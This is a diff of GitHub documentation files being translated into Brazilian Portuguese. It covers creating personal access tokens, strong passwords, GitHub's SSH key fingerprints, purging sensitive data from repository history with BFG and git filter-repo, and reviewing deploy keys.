+5. Dê ao seu token um nome descritivo. ![Token description field](/assets/images/help/settings/token_description.png){% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+6. Para dar ao seu token uma data de vencimento, selecione o menu suspenso **Vencimento** e, em seguida, clique em um padrão ou use o seletor de calendário. ![Token expiration field](/assets/images/help/settings/token_expiration.png){% endif %}
+7. Selecione os escopos, ou as permissões, aos quais deseja conceder esse token. Para usar seu token para acessar repositórios da linha de comando, selecione **repo**.
    {% ifversion fpt or ghes or ghec %}
-   ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
+   ![Selecionar escopos do token](/assets/images/help/settings/token_scopes.gif)
    {% elsif ghae %}
-   ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
+   ![Selecionar escopos do token](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
    {% endif %}
-8. Click **Generate token**.
-   ![Generate token button](/assets/images/help/settings/generate_token.png)
+8. Clique em **Generate token** (Gerar token). ![Botão Generate token (Gerar token)](/assets/images/help/settings/generate_token.png)
    {% ifversion fpt or ghec %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+   ![Token recém-criado](/assets/images/help/settings/personal_access_tokens.png)
    {% elsif ghes > 3.1 or ghae %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
+   ![Token recém-criado](/assets/images/help/settings/personal_access_tokens_ghe.png)
    {% else %}
-   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
+   ![Token recém-criado](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png)
    {% endif %}
    {% warning %}
 
-   **Warning:** Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs. 
+   **Aviso:** trate seus tokens como senhas e mantenha-os em segredo. Ao trabalhar com a API, use tokens como variáveis de ambiente em vez de embuti-los em código nos seus programas.
 
    {% endwarning %}
 
-{% ifversion fpt or ghec %}9. To use your token to authenticate to an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}9. Para usar seu token para efetuar a autenticação em uma organização que usa o logon único SAML, autorize o token. Para mais informações consulte "[Autorizando um token de acesso pessoal para usar com lgon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %} .{% else %}."{% endif %}{% endif %}
 
-## Using a token on the command line
+## Usar um token na linha de comando
 
 {% data reusables.command_line.providing-token-as-password %}
 
-Personal access tokens can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
+Os tokens de acesso pessoais podem ser usados apenas para operações Git HTTPS. Se seu repositório usar uma URL remote SSH, você precisará [alternar o remote de SSH para HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
 
-If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
+Se não for solicitado a informar seu nome de usuário e a senha, suas credenciais poderão ser armazenadas em cache no seu computador. Você pode [atualizar suas credenciais no keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) para substituir a senha antiga pelo token.
 
-Instead of manually entering your PAT for every HTTPS Git operation, you can cache your PAT with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+Em vez de inserir manualmente seu PAT para cada operação de HTTPS do Git, você pode armazenar seu PAT com um cliente Git. O Git irá armazenar temporariamente as suas credenciais na memória até que um intervalo de expiração tenha passado. Você também pode armazenar o token em um arquivo de texto simples que o Git pode ler antes de cada solicitação. Para obter mais informações, consulte "[Armazenar as suas credenciais do {% data variables.product.prodname_dotcom %} no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
 
-## Further reading
+## Leia mais
 
-- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+- "[Sobre a autenticação no GitHub](/github/authenticating-to-github/about-authentication-to-github)"{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
+- "[Vencimento e revogação do Token](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
index 85eebfa495..c13fd747ec 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a strong password
-intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} with a strong and unique password using a password manager.'
+title: Criar uma senha forte
+intro: 'Proteja sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} com uma senha forte e única usando um gerenciador de senhas.'
 redirect_from:
   - /articles/what-is-a-strong-password
   - /articles/creating-a-strong-password
@@ -13,26 +13,27 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a strong password
+shortTitle: Criar uma senha forte
 ---
-You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} that is at least:
-- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or
-- 15 characters long with any combination of characters
 
-To keep your account secure, we recommend you follow these best practices:
-- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters.
-- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+Você deve escolher ou gerar uma senha para a sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} que seja pelo menos:
+- {% ifversion ghes %}Sete{% else %}Oito{% endif %} caracteres, se incluir um número e uma letra minúscula, ou
+- 15 caracteres com qualquer combinação de caracteres
 
-- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
-- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)."
+Para manter sua conta protegida, é recomendável seguir estas práticas recomendadas:
+- Use um gerenciador de senhas, como [LastPass](https://lastpass.com/) ou [1Password](https://1password.com/) para gerar uma senha de pelo menos 15 caracteres.
+- Gere uma senha exclusiva para o {% data variables.product.product_name %}. Se você usar sua senha {% data variables.product.product_name %} em outro lugar e o serviço estiver comprometido, os invasores ou outros atores maliciosos poderiam usar essa informação para acessar sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+
+- Configure a autenticação de dois fatores para sua conta pessoal. Para obter mais informações, consulte "[Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)".
+- Nunca compartilhe sua senha, mesmo com um possível colaborador. Cada pessoa deve usar a própria conta pessoal no {% data variables.product.product_name %}. Para obter mais informações sobre maneiras de colaborar, consulte: "[Convidar colaboradores para um repositório pessoal](/articles/inviting-collaborators-to-a-personal-repository)", "[Sobre modelos de desenvolvimento colaborativo](/articles/about-collaborative-development-models/)" ou "[Colaborar com grupos em organizações](/organizations/collaborating-with-groups-in-organizations/)".
 
 {% data reusables.repositories.blocked-passwords %}
 
-You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." 
+Você só pode usar sua senha para entrar no {% data variables.product.product_name %} usando seu navegador. Ao efetuar a autenticação no {% data variables.product.product_name %} de outra forma, como, por exemplo, linha de comando ou API, você deve usar outras credenciais. Para obter mais informações, consulte "[Sobre a autenticação do {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)".
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.password-authentication-deprecation %}{% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
-- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)"
+- "[Armazenar suas credenciais de {% data variables.product.product_name %} no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- "[Manter a conta e os dados seguros](/articles/keeping-your-account-and-data-secure/)"
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
index 035d69c803..be47a65078 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's SSH key fingerprints
-intro: Public key fingerprints can be used to validate a connection to a remote server.
+title: Impressões digitais da chave SSH do GitHub
+intro: Impressões digitais da chave pública podem ser usadas para validar uma conexão com um servidor remote.
 redirect_from:
   - /articles/what-are-github-s-ssh-key-fingerprints
   - /articles/github-s-ssh-key-fingerprints
@@ -13,9 +13,10 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: SSH key fingerprints
+shortTitle: Impressão digital de chave SSH
 ---
-These are {% data variables.product.prodname_dotcom %}'s public key fingerprints:
+
+Estas são as impressões digitais de chave pública de {% data variables.product.prodname_dotcom %}:
 
 - `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA)
 - `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA)
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/index.md
index 9d1b48210b..6c3d6de64a 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/index.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/index.md
@@ -1,6 +1,6 @@
 ---
-title: Keeping your account and data secure
-intro: 'To protect your personal information, you should keep both your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and any associated data secure.'
+title: Proteger sua conta e dados
+intro: 'Para proteger suas informações pessoais, você deve manter a sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} e todos os dados associados à sua conta protegidos.'
 redirect_from:
   - /articles/keeping-your-account-and-data-secure
   - /github/authenticating-to-github/keeping-your-account-and-data-secure
@@ -32,6 +32,6 @@ children:
   - /githubs-ssh-key-fingerprints
   - /sudo-mode
   - /preventing-unauthorized-access
-shortTitle: Account security
+shortTitle: Segurança da conta
 ---
 
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
index 385e8c165a..7bd08e14ce 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing sensitive data from a repository
-intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.'
+title: Remover dados confidenciais do repositório
+intro: 'Se você fizer commit de dados confidenciais, como uma senha ou chave SSH em um repositório Git, poderá removê-los do histórico. Para remover completamente arquivos indesejados do histórico de um repositório, você pode usar a ferramenta `git filter-repo` ou a ferramenta de código aberto BFG Repo-Cleaner.'
 redirect_from:
   - /remove-sensitive-data
   - /removing-sensitive-data
@@ -16,65 +16,66 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Remove sensitive data
+shortTitle: Remover dados confidenciais
 ---
-The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository.
 
-You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)."
+A ferramenta `git filter-repo` e o BFG Repo-Cleaner reescrevem o histórico do seu repositório, que muda os SHAs para os commits existentes que você altera e quaisquer commits dependentes. Os SHAs do commit alterados podem afetar as pull requests abertas no repositório. Recomendamos que você faça merge ou feche todas todas as pull requests abertas antes de remover os arquivos do repositório.
+
+Você pode remover o arquivo com o commit mais recente com `git rm`. Para obter informações sobre a remoção de um arquivo que foi adicionado com o commit mais recente, consulte "[Sobre arquivos grandes em {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)".
 
 {% warning %}
 
-This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}.
+Este artigo diz a você como tornar commits com dados confidenciais inacessíveis a partir de quaisquer branches ou tags do seu repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. No entanto, é importante destacar que esses commits talvez ainda possam ser acessados em clones ou bifurcações do repositório diretamente por meio de hashes SHA-1 em visualizações em cache no {% data variables.product.product_name %} e por meio de qualquer pull request que faça referência a eles. Não é possível remover dados confidenciais dos clones ou bifurcações de usuários do seu repositório, mas você pode remover permanentemente as visualizações e referências em cache para os dados confidenciais em pull requests no {% data variables.product.product_name %} entrando em contato com {% data variables.contact.contact_support %}.
 
-**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history.
+**Aviso: Depois de ter feito o push de um commit para {% data variables.product.product_name %}, você deve considerar todos os dados confidenciais no commit comprometido.** Se você fez o commit de uma senha, altere-a! Se tiver feito commit de uma chave, crie outra. A remoção dos dados comprometidos não resolve sua exposição inicial, especialmente em clones ou bifurcações existentes do seu repositório. Considere essas limitações ao tomar a decisão de reescrever a história do repositório.
 
 {% endwarning %}
 
-## Purging a file from your repository's history
+## Remover um arquivo do histórico do repositório
 
-You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.
+É possível limpar um arquivo do histórico do seu repositório usando a ferramenta `git filter-repo` ou a ferramenta de código aberto BFG Repo-Cleaner.
 
-### Using the BFG
+### Usar o BFG
 
-The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. 
+O [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) é uma ferramenta desenvolvida e mantida pela comunidade de código aberto. Ele fornece uma alternativa mais rápida e simples ao `git filter-branch` para remover dados não desejados.
 
-For example, to remove your file with sensitive data and leave your latest commit untouched, run:
+Por exemplo: para remover o arquivo com dados confidenciais sem alterar o commit mais recente, execute:
 
 ```shell
 $ bfg --delete-files <em>YOUR-FILE-WITH-SENSITIVE-DATA</em>
 ```
 
-To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run:
+Para substituir todo o texto relacionado no `passwords.txt` sempre que ele for encontrado no histórico do repositório, execute:
 
 ```shell
 $ bfg --replace-text passwords.txt
 ```
 
-After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on.
+Depois que os dados confidenciais são removidos, você deve fazer push forçado das suas alterações para {% data variables.product.product_name %}. Fazer push forçado reescreve o histórico do repositório, o que remove dados confidenciais do histórico de commit. Se você fizer push forçado, isso poderá pode sobrescrever commits nos quais outras pessoas basearam o seu trabalho.
 
 ```shell
 $ git push --force
 ```
 
-See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions.
+Consulte as instruções completas de download e uso na documentação do [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/).
 
-### Using git filter-repo
+### Usando arquivo git filter-repo
 
 {% warning %}
 
-**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
+**Aviso:** se você executar `git filter-repo` após acumular as alterações, você não poderá recuperar suas alterações com outros comandos acumulados. Antes de executar `git filter-repo`, recomendamos cancelar a acumulação de todas as alterações que você fez. Para desfazer o stash do último conjunto de alterações no qual você fez stash, execute `git stash show -p | git apply -R`. Para obter mais informações, consulte [Ferramentas do Git - Acúmulo e limpeza](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning).
 
 {% endwarning %}
 
-To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not accidentally re-committed.
+Para ilustrar como `git filter-repo` funciona, mostraremos como remover seu arquivo com dados confidenciais do histórico do repositório e adicioná-lo a `. itignore` para garantir que não se faça o commit novamente de forma acindelal.
 
-1. Install the latest release of the [git filter-repo](https://github.com/newren/git-filter-repo) tool. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command.
+1. Instale a versão mais recente da ferramenta [git filter-repo](https://github.com/newren/git-filter-repo). Você pode instalar `git-filter-repo` manualmente ou usando um gerenciador de pacotes. Por exemplo, para instalar a ferramenta com o HomeBrew, use o comando `brew install`.
   ```
   brew install git-filter-repo
   ```
-  For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository.
+  Para obter mais informações, consulte [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) no repositório `newren/git-filter-repo`.
 
-2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer.
+2. Se você ainda não tiver uma cópia local do repositório com dados confidenciais no histórico, [faça um clone do repositório](/articles/cloning-a-repository/) no computador local.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>
   > Initialized empty Git repository in /Users/<em>YOUR-FILE-PATH</em>/<em>YOUR-REPOSITORY</em>/.git/
@@ -84,22 +85,22 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > Receiving objects: 100% (1301/1301), 164.39 KiB, done.
   > Resolving deltas: 100% (724/724), done.
   ```
-3. Navigate into the repository's working directory.
+3. Acesse o diretório de trabalho do repositório.
   ```shell
   $ cd <em>YOUR-REPOSITORY</em>
   ```
-4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will:
-    - Force Git to process, but not check out, the entire history of every branch and tag
-    - Remove the specified file, as well as any empty commits generated as a result
-    - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later.
-    - **Overwrite your existing tags**
+4. Execute o seguinte comando substituindo `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` pelo **caminho do arquivo que deseja remover, não apenas o nome do arquivo**. Esses argumentos vão:
+    - Forçar o Git a processar, mas não fazer checkout, do histórico completo de cada branch e tag
+    - Remover o arquivo especificado, bem como qualquer commit vazio gerado como resultado
+    - Remova algumas configurações, como a URL remota, armazenada no arquivo *.git/config*. Você deverá fazer backup deste arquivo com antecedência para a restauração mais adiante.
+    - **Sobrescrever as tags existentes**
         ```shell
         $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA
         Parsed 197 commits
         New history written in 0.11 seconds; now repacking/cleaning...
         Repacking your repo and cleaning out old unneeded objects
         Enumerating objects: 210, done.
-        Counting objects: 100% (210/210), done.
+        Contando objetos: 100% (210/210), concluído.
         Delta compression using up to 12 threads
         Compressing objects: 100% (127/127), done.
         Writing objects: 100% (210/210), done.
@@ -110,11 +111,11 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
 
   {% note %}
 
-  **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well.
+  **Observação:** se o arquivo com dados confidenciais existir em qualquer outro caminho (porque foi movido ou renomeado), execute esse comando nesses caminhos também.
 
   {% endnote %}
 
-5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again.
+5. Adicione o arquivo com dados confidenciais ao `.gitignore` para impedir a repetição acidental do commit.
 
   ```shell
   $ echo "<em>YOUR-FILE-WITH-SENSITIVE-DATA</em>" >> .gitignore
@@ -123,8 +124,8 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > [main 051452f] Add <em>YOUR-FILE-WITH-SENSITIVE-DATA</em> to .gitignore
   >  1 files changed, 1 insertions(+), 0 deletions(-)
   ```
-6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out.
-7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history.
+6. Verifique se você removeu todo o conteúdo desejado do histórico do repositório e fez checkout de todos os branches.
+7. Quando você estiver satisfeito com o estado do seu repositório, faça push forçado das alterações locais para sobrescrever o repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, bem como de todos os branches para os quais você fez o push. É necessário um push forçado para remover dados confidenciais do seu histórico de commit.
   ```shell
   $ git push origin --force --all
   > Counting objects: 1074, done.
@@ -135,7 +136,7 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   > To https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
   >  + 48dc599...051452f main -> main (forced update)
   ```
-8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags:
+8. Para remover o arquivo com dados confidenciais das [versões com tag](/articles/about-releases), você também precisará forçar o push das tags do Git:
   ```shell
   $ git push origin --force --tags
   > Counting objects: 321, done.
@@ -147,15 +148,15 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil
   >  + 48dc599...051452f main -> main (forced update)
   ```
 
-## Fully removing the data from {% data variables.product.prodname_dotcom %}
+## Remover completamente os dados de {% data variables.product.prodname_dotcom %}
 
-After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}.
+Depois de usar a ferramenta BFG ou `git filter-repo` para remover os dados confidenciais e fazer push das suas alterações para {% data variables.product.product_name %}, você deve seguir mais algumas etapas para remover completamente os dados de {% data variables.product.product_name %}.
 
-1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed.
+1. Entre em contato com o {% data variables.contact.contact_support %} e solicite a remoção das visualizações em cache e das referências aos dados confidenciais em pull requests no {% data variables.product.product_name %}. Forneça o nome do repositório e/ou um link para o commit que você precisa que seja removido.
 
-2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging.
+2. Peça para os colaboradores [fazerem rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *e não* merge, nos branches criados a partir do histórico antigo do repositório. Um commit de merge poderia reintroduzir o histórico antigo completo (ou parte dele) que você acabou de se dar ao trabalho de corrigir.
 
-3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer):
+3. Após decorrido um tempo e você estiver confiante de que a ferramenta BFG / `git filter-repo` não teve efeitos colaterais, você poderá forçar todos os objetos no seu repositório local a serem dereferenciados e lixo coletado com os seguintes comandos (usando o Git 1.8.5 ou mais recente):
   ```shell
   $ git for-each-ref --format="delete %(refname)" refs/original | git update-ref --stdin
   $ git reflog expire --expire=now --all
@@ -168,21 +169,21 @@ After using either the BFG tool or `git filter-repo` to remove the sensitive dat
   ```
   {% note %}
 
-   **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}.
+   **Observação:** você também pode conseguir isso fazendo push do histórico filtrado em um repositório novo ou vazio e, em seguida, criando um clone usando o {% data variables.product.product_name %}.
 
   {% endnote %}
 
-## Avoiding accidental commits in the future
+## Evitar commits acidentais no futuro
 
-There are a few simple tricks to avoid committing things you don't want committed:
+Há alguns truques simples para evitar fazer commit de coisas não desejadas:
 
-- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit.
-- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead.
-- Use `git add --interactive` to individually review and stage changes within each file.
-- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag.
+- Use um programa visual, como o [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) e o [gitk](https://git-scm.com/docs/gitk), para fazer commit das alterações. Nos programas visuais, geralmente é mais fácil ver exatamente quais arquivos serão adicionados, excluídos e modificados em cada commit.
+- Evite os comandos catch-all `git add .` e `git commit -a` na linha de comando— use `git add filename` e `git rm filename` para fazer stage de arquivos individuais.
+- Use o `git add --interactive` para revisar e fazer stage das alterações em cada arquivo de forma individual.
+- Use o `git diff --cached` para revisar as alterações que você incluiu no stage para commit. Esse é o diff exato que o `git commit` produzirá, contanto que você não use o sinalizador `-a`.
 
-## Further reading
+## Leia mais
 
-- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
-- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
-- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)"
+- [página man de `git filter-repo`](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
+- [Pro Git: Ferramentas do Git - Reescrevendo o Histórico](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
+- "[Sobre a digitalização de segredos](/code-security/secret-security/about-secret-scanning)"
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
index b3629bba82..5c3026036f 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your deploy keys
-intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid.
+title: Revisar suas chaves de implantação
+intro: Você deve revisar as chaves de implantação para verificar se há chaves não autorizadas (ou potencialmente comprometidas). Você também pode aprovar as chaves de implantação que são válidas.
 redirect_from:
   - /articles/reviewing-your-deploy-keys
   - /github/authenticating-to-github/reviewing-your-deploy-keys
@@ -13,16 +13,15 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Deploy keys
+shortTitle: Chaves de implantação
 ---
